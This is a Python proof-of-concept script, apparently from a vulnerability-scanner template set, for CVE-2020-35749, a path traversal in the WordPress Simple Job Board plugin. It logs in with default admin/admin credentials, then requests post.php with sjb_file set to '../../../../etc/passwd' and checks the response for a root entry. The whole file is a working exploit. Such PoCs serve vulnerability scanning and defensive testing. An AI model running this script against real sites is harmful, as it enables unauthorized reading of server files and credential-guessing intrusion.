import requests
import re


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Simple Job Board < 2.9.4 - Authenticated Path Traversal Leading to Arbitrary File Download''',
        "description": '''The plugin does not validate the sjb_file parameter when viewing a resume, allowing authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via a path traversal attack.''',
        "severity": "high",
        "references": [
            "https://wpscan.com/vulnerability/eed3bd69-2faf-4bc9-915c-c36211ef9e2d", 
            "https://nvd.nist.gov/vuln/detail/CVE-2020-35749"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "cvss-score": "",
            "cve-id": "CVE-2020-35749",
            "cwe-id": "CWE-22"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "lfi", "wp", "wordpress", "wp-plugin", "authenticated"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    username = "admin"
    password = "admin"
    try:
        url = format_url(url)

        s = requests.Session()

        path = """/wp-login.php"""
        method = "POST"
        data = """log={username}&pwd={password}&wp-submit=Log+In&testcookie=1""".format(username=username, password=password)
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'}
        resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd"""
        method = "GET"
        data = """"""
        headers = {}
        resp1 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (re.search(r"""root:[x*]:0:0""",resp1.text)) and (resp1.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url